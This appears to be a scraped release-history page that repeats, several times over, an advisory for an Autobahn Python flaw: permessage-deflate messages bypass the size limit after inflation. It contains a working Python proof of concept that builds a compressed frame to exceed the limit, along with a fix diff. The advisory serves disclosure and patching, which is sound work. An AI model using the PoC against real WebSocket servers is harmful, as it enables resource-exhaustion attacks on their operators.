@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

May 04, 2022

22.3.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Mar 17, 2022

22.2.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Feb 23, 2022

22.1.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
